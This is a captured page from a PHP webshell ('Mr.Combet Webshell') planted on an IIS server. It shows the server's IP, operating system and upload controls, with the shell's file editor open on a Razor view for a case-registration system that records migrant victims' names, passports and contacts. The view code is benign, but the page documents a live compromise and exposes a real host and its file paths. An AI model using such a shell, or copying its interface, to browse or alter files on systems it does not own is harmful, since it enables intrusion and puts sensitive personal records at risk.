Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
CaseRegistration
/
Edit File Name :
create.cshtml
@{ ViewBag.Title = "Create Case Registration"; } <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> <label style="font-size: medium"><b>Create Case Registration</b></label> <hr /> <form id="CreateCaseRegistrationForm"> <div class="col-md-2 control-label" style="padding-top:5px;width: initial;min-width: 10.66666667%;"> Registration Date </div> <div class="col-md-2"> <input placeholder="Date Of Registration" type="text" class="form-control required" id="nepaliRegistrationDatePicker" /> </div> <br /> @*<div class="pull-right" style="margin-right:5px"> <input placeholder="Case No." type="text" size="5" style="padding-left:3px" class="form-control" disabled name="CaseNo" id="CaseNo" /> </div>*@ <br /> <div id="eror_msg"></div> <input type="hidden" id="registrationDateNepali" name="RegistrationDateNepali" /> <input type="hidden" id="registrationDate" name="RegistrationDate" /> <input type="hidden" id="incidentDateNepali" name="IncidentDateNepali" /> <input type="hidden" id="incidentDate" name="IncidentDate" /> <input type="hidden" id="departureDateNepali" name="DepartureDateNepali" /> <input type="hidden" id="departureDate" name="DepartureDate" /> <br /> <ul class="nav nav-tabs"> <li class="active"><a href="#tab1" data-toggle="tab">Basic Information</a></li> @*<li class="show-hide-victim"><a href="#tab4" data-toggle="tab">Other Victims</a></li>*@ <li><a href="#tab2" data-toggle="tab">Company and Migration Process Info</a></li> <li><a href="#tab3" data-toggle="tab">Incident Details and Offical Purpose</a></li> </ul> <div class="tab-content"> <div class="tab-pane active" id="tab1"> <br /> <div class="row"> <div class="col-md-12"> <div class="row"> <div class="form-group col-md-3"> <label><strong>First Name </strong></label> <input type="text" style="text-transform:capitalize;" class="form-control required" onkeypress="return (event.charCode > 64 && event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)" minlength="2" name="FirstName" id="FirstName" /> </div> <div class="form-group col-md-3"> <label><strong>Middle Name</strong></label> <input type="text" class="form-control" style="text-transform:capitalize;" onkeypress="return (event.charCode > 64 && event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)" minlength="2" name="MiddleName" id="MiddleName" /> </div> <div class="form-group col-md-3"> <label><strong>Last Name </strong></label> <input type="text" class="form-control required" style="text-transform:capitalize;" onkeypress="return (event.charCode > 64 && event.charCode < 91) || (event.charCode > 96 && event.charCode < 123)" minlength="2" name="LastName" id="LastName" /> </div> <div class="form-group col-md-3"> <label><strong>Gender </strong></label> <select class="form-control m-b required" name="Gender" id="Gender"> <option value="">Select Gender</option> <option value="1">Male</option> <option value="2">Female</option> </select> </div> </div> <div class="row"> <div class="form-group col-md-3"> <label><strong>Province </strong></label> <select type="text" class="form-control required" name="ProvinceId" id="ProvinceId" data-api="/province/select/threeStates"></select> </div> <div class="form-group col-md-3"> <label><strong>District </strong></label> <select type="text" class="form-control required" name="DistrictId" id="DistrictId" data-api="/districts/select" disabled=""></select> </div> <div class="form-group col-md-3"> <label><strong>Municipality </strong></label> <select type="text" class="form-control required" id="MunicipalityId" name="MunicipalityId" data-api="/municipality/select" disabled=""></select> </div> <div class="form-group col-md-1"> <label><strong>Ward</strong></label> <input type="text" pattern="\d*" oninput="validity.valid||(value='');" maxlength="2" step="1" class="form-control required" name="WardNo" id="WardNo" /> </div> <div class="form-group col-md-2"> <label><strong>Settlement</strong></label> <input type="text" class="form-control " name="Settlement" id="Settlement" /> </div> </div> <div class="row"> <div class="form-group col-md-3"> <label for="ContactNo"><strong>Phone No. </strong></label> <input type="text" class="form-control required" pattern="\d*" maxlength="10" oninput="validity.valid||(value='');" step="1" id="ContactNo" name="ContactNo" /> </div> <div class="form-group col-md-3"> <label for="ContactNoSecond"><strong>Second Phone No. (If Any) </strong></label> <input type="text" class="form-control" pattern="\d*" maxlength="10" oninput="validity.valid||(value='');" step="1" id="ContactNoSecond" name="ContactNoSecond" /> </div> <div class="form-group col-md-3"> <label for="PasswordNo"><strong>Passport No. </strong></label> <input type="text" class=" form-control" maxlength="8" id="PassportNo" name="PassportNo" /> </div> </div> <hr /> <h3><u>Family Information</u></h3> <br /> <div class="row"> <div class="form-group col-md-3"> <label><strong>Family Contact Person</strong></label> <input type="text" class="form-control" name="FamilyContactPerson" id="FamilyContactPerson" /> </div> <div class="form-group family_contact_person_show_hide col-md-3"> <label><strong>Relationship With Client</strong> </label> <select type="text" class="form-control " name="FamilyMemberRelationship" id="FamilyMemberRelationship" data-api="/relation-with-household-head/select"></select> </div> <div class="form-group col-md-3"> <label><strong>Contact Number </strong></label> <input type="text" class="form-control " pattern="\d*" maxlength="10" oninput="validity.valid||(value='');" step="1" name="FamilyMemberContactNo" id="FamilyMemberContactNo" /> </div> <div class="form-group col-md-3 "> <label for="FamilyMemberSecondContactNo"><strong>Second Phone No. (If Any) </strong></label> <input type="text" class="form-control" pattern="\d*" maxlength="10" oninput="validity.valid||(value='');" step="1" id="FamilyMemberSecondContactNo" name="FamilyMemberSecondContactNo" /> </div> </div> <hr style="margin-top:1px" /> <h3><u>Destination Country Information</u></h3> <br /> <div class="row"> <div class="form-group col-md-3 "> <label for="DestinatonCountryContactPerson"><strong>Destinaton Country Contact Person</strong></label> <input type="text" class="form-control" name="DestinatonCountryContactPerson" id="DestinatonCountryContactPerson" /> </div> <div class="form-group col-md-3 destination_contact_person_info_show_hide"> <label for="DestinatonCountryPersonRelationship"><strong>Destination Country Person Relationship</strong> </label> <select type="text" class="form-control required" name="DestinatonCountryPersonRelationship" required id="DestinatonCountryPersonRelationship" data-api="/relation-with-household-head/select"></select> </div> <div class="form-group col-md-3 "> <label for="DestinatonCountryPersonContactNo"><strong>Destination Country Person Contact No</strong> </label> <input type="text" class="form-control " pattern="\d*" maxlength="10" oninput="validity.valid||(value='');" step="1" name="DestinatonCountryPersonContactNo" id="DestinatonCountryPersonContactNo" /> </div> </div> </div> <div class="row"> <div class="form-group col-md-3"> <input type="checkbox" onclick='handleCheckBoxForEnableDisableOtherVictims(this)' name="hasOtherVictims" value="" class="chkBoxForOtherVictims"> <label for="hasOtherVictims"><strong>Has Other Victims</strong></label><br> </div> </div> </div> <a class="btn btn-primary btnNext next-show-hide"> Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></a> <div class="show-hide-victim"> <h3><u>Other Victims Information</u></h3> <div class="row"> <div class="col-md-12"> <div class="row"> <div class="form-group col-md-3"> <label><strong>First Name </strong></label> <input type="text" style="text-transform:capitalize;" class="form-control " name="FirstNameOtherVictim" id="FirstNameOtherVictim" /> </div> <div class="form-group col-md-3"> <label><strong>Middle Name</strong></label> <input type="text" class="form-control" style="text-transform:capitalize;" name="MiddleNameOtherVictim" id="MiddleNameOtherVictim" /> </div> <div class="form-group col-md-3"> <label><strong>Last Name </strong></label> <input type="text" class="form-control " style="text-transform:capitalize;" name="LastNameOtherVictim" id="LastNameOtherVictim" /> </div> <div class="form-group col-md-3"> <label><strong>Gender </strong></label> <select class="form-control m-b " name="GenderOtherVictim" id="GenderOtherVictim"> <option value="">Select</option> <option value="1">Male</option> <option value="2">Female</option> </select> </div> </div> <div class="row"> <div class="form-group col-md-3"> <label><strong>Province </strong></label> <select type="text" class="form-control " name="ProvinceIdOther" id="ProvinceIdOther" data-api="/province/select/threeStates"></select> </div> <div class="form-group col-md-3"> <label><strong>District </strong></label> <select type="text" class="form-control " name="DistrictIdOther" id="DistrictIdOther" data-api="/districts/select" disabled=""></select> </div> <div class="form-group col-md-3"> <label><strong>Municipality </strong></label> <select type="text" class="form-control " id="MunicipalityIdOther" name="MunicipalityIdOther" data-api="/municipality/select" disabled=""></select> </div> <div class="form-group col-md-1"> <label><strong>Ward</strong></label> <input type="text" pattern="\d*" oninput="validity.valid||(value='');" maxlength="2" step="1" class="form-control " name="WardOther" id="WardOther" /> </div> <div class="form-group col-md-2"> <label><strong>Settlement</strong></label> <input type="text" class="form-control " name="SettlementOtherVictim" id="SettlementOtherVictim" /> </div> </div> <div class="row"> <div class="form-group col-md-3"> <label for="ContactNo"><strong>Phone No. </strong></label> <input type="text" class="form-control " pattern="\d*" maxlength="10" oninput="validity.valid||(value='');" step="1" id="ContactNoOtherVictim" name="ContactNoOtherVictim" /> </div> <div class="form-group col-md-3"> <label for="PasswordNo"><strong>Passport No. </strong></label> <input type="text" class=" form-control" maxlength="8" id="PassportNoOtherVictim" name="PassportNoOtherVictim" /> </div> <div class="form-group col-md-3"> <label class="align-label-btm"> </label> <a class="btn btn-primary btn-xl" id="btnAdd" onclick="addOtherVictimsInCaseToTable()" title="Add"> <i class="fa fa-plus"></i> </a> </div> </div> </div> </div> <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblOtherVitimInCase" id="tblOtherVitimInCase"> <thead> <tr> <th> First Name</th> <th>Middle Name</th> <th>Last Name</th> <th>Gender</th> <th>Province</th> <th>District</th> <th>Municipality</th> <th>Ward</th> <th>Settlement</th> <th>Phone No.</th> <th>Passport</th> <th>Action</th> </tr> </thead> <tbody id="tblOtherVitimInCaseBody"> </tbody> </table> </div> <a class="btn btn-primary btnNext"> Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></a> </div> </div> <div class="tab-pane " id="tab2" > <br /> <div class="row"> <div class="col-md-12"> <h3><u>Migration Process Info</u></h3> <div class="row"> <div class="form-group col-md-3"> <label><strong>Destination Country</strong></label> <select class="form-control m-b required" name="DestinationCountry" id="DestinationCountry" data-api="/destination/countries"> </select> </div> <div class="form-group col-md-3"> <label><strong>Departure Date </strong></label> <input placeholder="Date Of Departure" type="text" class="form-control " id="nepaliDepartureDatePicker" /> @*<input type="text" class=" form-control required" id="nepaliDepartureDatePicker" />*@ </div> <div class="form-group col-md-3"> <label for="RecruitmentAgency"><strong>Name of Recruitment Agency </strong></label> <input type="text" class=" form-control " id="RecruitmentAgency" name="RecruitmentAgency" /> </div> <div class="form-group col-md-2"> <label for="SpentCost"><strong>Spend Cost</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeypress="return isNumberKey(this,event)" maxlength="12" name="SpentCost" id="SpentCost"> <span><strong>Rs</strong></span> </div> @* <input type="text" class=" form-control" id="SpentCost" name="SpentCost" />*@ </div> </div> <div class="row"> <div class="form-group col-md-3"> <label for="AgentName"><strong>Agent Name</strong></label> <input type="text" class=" form-control" id="AgentName" name="AgentName" /> </div> <div class="form-group col-md-3"> <label><strong>Agent Phone No.</strong></label> <input type="text" oninput="validity.valid||(value='');" step="1" pattern="\d*" maxlength="10" class="form-control" max="9999999999" id="AgentContactNo" name="AgentContactNo" /> </div> </div> <hr /> <h3><u>Employed Company Information</u></h3> <div class="row"> <div class="form-group col-md-3"> <label for="EmployedCompanyName"><strong>Company Name</strong></label> <input type="text" class=" form-control" id="EmployedCompanyName" name="EmployedCompanyName" /> </div> <div class="form-group col-md-3"> <label for="EmployedCompanyAddress"><strong>Company Address</strong></label> <input type="text" class=" form-control" id="EmployedCompanyAddress" name="EmployedCompanyAddress" /> </div> <div class="form-group col-md-3"> <label for="EmployedCompanyContactNo"><strong>Contact No.</strong></label> <input type="text" oninput="validity.valid||(value='');" step="1" pattern="\d*" maxlength="10" class=" form-control" id="EmployedCompanyContactNo" name="EmployedCompanyContactNo" /> </div> </div> </div> </div> <a class="btn btn-primary btnPrevious"> <i class="fa fa-arrow-circle-o-left" aria-hidden="true"></i> Previous</a> <a class="btn btn-primary btnNext">Next <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i></a> </div> <div id="tab3" class="tab-pane"> <br /> <div class="row"> <div class="col-md-12"> <div class="row"> <div class="form-group col-md-3"> <label><strong>Types of Case</strong></label> <select type="text" class="form-control required" name="CaseTypeId" id="CaseTypeId" data-api="/casetypes/select"></select> </div> <div class="form-group col-md-3"> <label><strong>Incident Date</strong></label> <input type="text" class=" form-control" placeholder="Date of Incident" id="nepaliIncidentDatePicker" /> </div> </div> <div class="row"> <div class="form-group col-md-6"> <label for="title" style="display:block"><strong>Case Detail :</strong> </label> <textarea rows="10" style="width:100%;resize:none" maxlength="400" name="CaseDetail" id="CaseDetail"></textarea> <label id="characterLeft">400 </label> Characters Remaining </div> </div> </div> </div> <hr style="margin-top: 1px" /> <h3><u>For Office Purpose</u></h3> <div class="row"> <div class="form-group col-md-3"> <label><strong>Referred From</strong></label> <select type="text" class="form-control required" name="ReferredFrom" id="ReferredFrom" data-api="/case_refer_from/select"></select> </div> <div class="form-group col-md-3 "> <label><strong>Referred To</strong></label> <select type="text" class="form-control required" name="ReferredTo" onchange="onChangeReferTo(this)" id="ReferredTo" data-api="/case_refer_to/select"></select> </div> <div class="form-group col-md-3 showHideCaseHandler"> <label><strong>Refer To Case Handler :</strong></label> <select type="text" class="form-control required" name="AssignedTo" id="AssignedTo" data-api="/case_handler_staff/select"></select> </div> </div> <div class="row"> <div class="pull-left"> <a class="btn btn-primary btnPrevious"> <i class="fa fa-arrow-circle-o-right" aria-hidden="true"></i> Previous</a> </div> <div class="pull-right"> <input type="button" value="Save" class="btn btn-primary" id="SubmitButton" /><span> </span> <a href="/caseregistration" class="btn btn-default">Close</a> </div> </div> </div> </div> </form> </div> </div> </div> </div> </div> <script src="~/Scripts/jquery.min.js"></script> <script src="~/Scripts/NepaliDatePicker/jquery.nepaliDatePicker.min.js"></script> <link href="~/Content/NepaliDatePicker/nepaliDatePicker.min.css" rel="stylesheet" /> <script> $(document).ready(function () { window.initializeSelectApis(); window.initializeCascadeLocation(); $('.show-hide-victim').hide(); $('.showHideCaseHandler').hide(); window.initializeCascadeLocationForOther(); var todayDate = new Date(); var todayNepaliDate = calendarFunctions.getBsDateByAdDate(todayDate.getFullYear(), todayDate.getMonth() + 1, todayDate.getDate()); var formatedTodayNepaliDate = calendarFunctions.bsDateFormat("%y-%M-%d", todayNepaliDate.bsYear, todayNepaliDate.bsMonth, todayNepaliDate.bsDate); $("#nepaliIncidentDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true, maxDate: formatedTodayNepaliDate }); $("#nepaliIncidentDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#incidentDate").val(datePickerData.adDate.toLocaleDateString()); $("#incidentDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) $("#nepaliDepartureDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true, maxDate: formatedTodayNepaliDate }); $("#nepaliDepartureDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#departureDate").val(datePickerData.adDate.toLocaleDateString()); var registrationDateEnglish = document.getElementById("registrationDate").value; var departureDateEnglish = document.getElementById("departureDate").value //if ((Date.parse(departureDateEnglish) >= Date.parse(registrationDateEnglish))) { // ShowMessage("error", "Departure date should be greater than Registration Date"); // document.getElementById("nepaliDepartureDatePicker").value = ""; //} $("#departureDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) $("#nepaliRegistrationDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true, maxDate: formatedTodayNepaliDate }); $("#nepaliRegistrationDatePicker").val(formatedTodayNepaliDate); $("#registrationDateNepali").val(`${todayNepaliDate.bsYear}-${todayNepaliDate.bsMonth}-${todayNepaliDate.bsDate}`); $("#registrationDate").val(formatDate(todayDate)); $("#nepaliRegistrationDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#registrationDate").val(datePickerData.adDate.toLocaleDateString()); var registrationDateEnglish = document.getElementById("registrationDate").value; var departureDateEnglish = document.getElementById("departureDate").value //if ((Date.parse(departureDateEnglish) <= Date.parse(registrationDateEnglish))) { // ShowMessage("error", "Departure date should be greater than Incident date"); // document.getElementById("nepaliRegistrationDatePicker").value = ""; //} $("#registrationDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); $("#registrationDateNepaliHtml").html(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) handleTextBoxCharacterCount(); }); function handleTextBoxCharacterCount() { var maxCharacters = 400; document.getElementById('CaseDetail').onkeyup = function() { document.getElementById('characterLeft').innerHTML = (maxCharacters - this.value.length); }; } $('#FamilyContactPerson').keyup(function(){ var familyContactPersonFieldLength = $('#FamilyContactPerson').val().length; if (familyContactPersonFieldLength >= 2) { $('.family_contact_person_show_hide').show(); $("#FamilyMemberRelationship").addClass("required"); } else { $('.family_contact_person_show_hide').hide(); $("#FamilyMemberRelationship").removeClass("required"); } }) $('#DestinatonCountryContactPerson').keyup(function () { var familyContactPersonFieldLength = $('#DestinatonCountryContactPerson').val().length; if (familyContactPersonFieldLength >= 2) { // $('.destination_contact_person_info_show_hide').show(); $("#DestinationCountryPersonRelationship").addClass("required"); } else { // $('.destination_contact_person_info_show_hide').hide(); $("#DestinationCountryPersonRelationship").removeClass("required"); } }) function white_space(field) { field.value = field.value.replace(/^\\s+/, ""); } $('.btnNext').click(function () { $('.nav-tabs > .active').next('li').find('a').trigger('click'); }); $('.btnPrevious').click(function () { $('.nav-tabs > .active').prev('li').find('a').trigger('click'); }); $("#SubmitButton").off("click").on("click", function () { function request(model) { const url = "/caseregistration/create"; const data = JSON.stringify(model); debugger; return window.getAjaxRequest(url, "POST", data); } const form = $("#CreateCaseRegistrationForm"); $.validator.unobtrusive.parse(form); if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; var dataForm = window.serializeForm(form); if (dataForm.FamilyContactPerson === '') { $("#FamilyMemberRelationship").val(''); } if (dataForm.DestinatonCountryContactPerson === '') { $("#DestinationCountryPersonRelationship").val(''); } else { $("#DestinationCountryPersonRelationship").val(''); } WorkForce.loader.show(); function getModel() { return ({ CaseRegistrationForOtherVictims:getOtherVictimFromTable(), CaseRegistration: window.serializeForm(form) }); } //function getCaseRegistrationForm() { // console.log(window.serializeForm(form)) // return window.serializeForm(form); //} const model = getModel(); const ajax = request(model); debugger; ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); window.location = "/caseregistration"; }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) function addOtherVictimsInCaseToTable() { var table = $("#tblOtherVitimInCase tbody"); var province = $("#ProvinceIdOther option:selected"); var district = $("#DistrictIdOther option:selected"); var municipality = $("#MunicipalityIdOther option:selected"); var gender = $("#GenderOtherVictim option:selected"); const form = $("#CreateCaseRegistrationForm"); const model = window.serializeForm(form); if (model.FirstNameOtherVictim == "") { ShowMessage("error", "First Name is required."); return; } if (model.LastNameOtherVictim === "") { ShowMessage("error", "Last Name is required."); return; } var row = "<tr>"; row += "<td>" + model.FirstNameOtherVictim + "</td>"; row += "<td>" + model.MiddleNameOtherVictim +"</td>"; row += "<td>" + model.LastNameOtherVictim + "</td>"; row += "<td>" + (gender.text() === 'Select'?"":gender.text()) + "<input type=hidden name='GenderIdOther' value=" + gender.val() + "></td>"; row += "<td>" + (province.text() === 'Select'?"":province.text()) + "<input type=hidden name='ProvinceIdOther' value=" + province.val() + "></td>"; row += "<td>" + (district.text() === 'Select'?"":district.text()) + "<input type=hidden name='DistrictIdOther' value=" + district.val() + "></td>"; row += "<td>" + (municipality.text() === 'Select' ? "" : municipality.text()) + "<input type=hidden name='MunicipalityIdOther' value=" + municipality.val() + "></td>"; row += "<td>" + model.WardOther + "</td>"; row += "<td>" + model.SettlementOtherVictim + "</td>"; row += "<td>" + model.ContactNoOtherVictim + "</td>"; row += "<td>" + model.PassportNoOtherVictim + "</td>"; row += "<td><a class='btn btn-default btn-xs' onclick='deleteRow(this)' title='Delete'><i class='fa fa-remove' style='color: red;'></i></a></td>" table.append(row); clearAllOfOtherVictimData(); } function clearAllOfOtherVictimData() { $("#ProvinceIdOther").val(''); $('#DistrictIdOther').val(''); $('#MunicipalityIdOther').val(''); $('#GenderOtherVictim').val(''); $('#FirstNameOtherVictim').val(''); $('#MiddleNameOtherVictim').val(''); $('#LastNameOtherVictim').val(''); $('#WardOther').val(''); $('#SettlementOtherVictim').val(''); $('#ContactNoOtherVictim').val(''); $('#PassportNoOtherVictim').val(''); } function deleteRow(e) { let conf = confirm(`Are you sure to delete this Item ?`); if (!conf) { return; } else { $(e).closest("tr").remove(); } } function getOtherVictimFromTable() { var otherVictimList = []; $("#tblOtherVitimInCase tbody tr").each(function () { const firstName = $(this).find("td:eq(0)").html(); const middleName = $(this).find("td:eq(1)").html(); const lastName = $(this).find("td:eq(2)").html(); const gender = $(this).find("td:eq(3)").find("input[type='hidden']").val(); const provinceId = $(this).find("td:eq(4)").find("input[type='hidden']").val(); const districtId = $(this).find("td:eq(5)").find("input[type='hidden']").val(); const municipalityId = $(this).find("td:eq(6)").find("input[type='hidden']").val(); const ward = $(this).find("td:eq(7)").html(); const settlement = $(this).find("td:eq(8)").html(); const phoneNo = $(this).find("td:eq(9)").html(); const passport = $(this).find("td:eq(10)").html(); debugger; otherVictimList.push({ FirstName: firstName, MiddleName: middleName, LastName: lastName, Gender: gender, ProvinceId: provinceId, DistrictId: districtId, MunicipalityId: municipalityId, WardNo: ward, Settlement: settlement, PhoneNo: phoneNo, Passport: passport }); }); return otherVictimList; } function isNumberKey(element, evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57) && !(charCode == 46 || charCode == 8)) return false; else { var len = $(element).val().length; var index = $(element).val().indexOf('.'); if (index > 0 && charCode == 46) { return false; } if (index > 0) { var CharAfterdot = (len + 1) - index; if (CharAfterdot > 3) { return false; } } } return true; } function getNumberWithComma(value) { return Number(parseFloat(value).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 0 }) } function removeCommaFromString(value) { var result = parseFloat(value.replace(/,/g, '')); if (isNaN(result)) { return 0; } else { return result; } } function formatDate(date) { var d = new Date(date), month = '' + (d.getMonth() + 1), day = '' + d.getDate(), year = d.getFullYear(); if (month.length < 2) month = '0' + month; if (day.length < 2) day = '0' + day; return [year, month, day].join('-'); } function handleCheckBoxForEnableDisableOtherVictims(cb) { console.log(cb); if (cb.checked) { $('.show-hide-victim').show(); $('.next-show-hide').hide(); } else { $('.show-hide-victim').hide(); $('.next-show-hide').show(); } } function onChangeReferTo(selected) { $('#AssignedTo').val(""); if (selected.value === '1' || selected.value === '2') { $('.showHideCaseHandler').show(); $('#CaseHandlerId').val(selected.value); $('#AssignedTo').addClass('required'); } else { $('#AssignedTo').removeClass('required'); $('.showHideCaseHandler').hide(); } } </script> <style> .nav-tabs > li.active > a { background-color: gray !important; border: medium none; border-radius: 0; color: white; } .anim { transition: background 5s linear; } .highlight { background: gray; } .normal { background: transparent; } input[type=checkbox] { transform: scale(1.5); } </style>
Save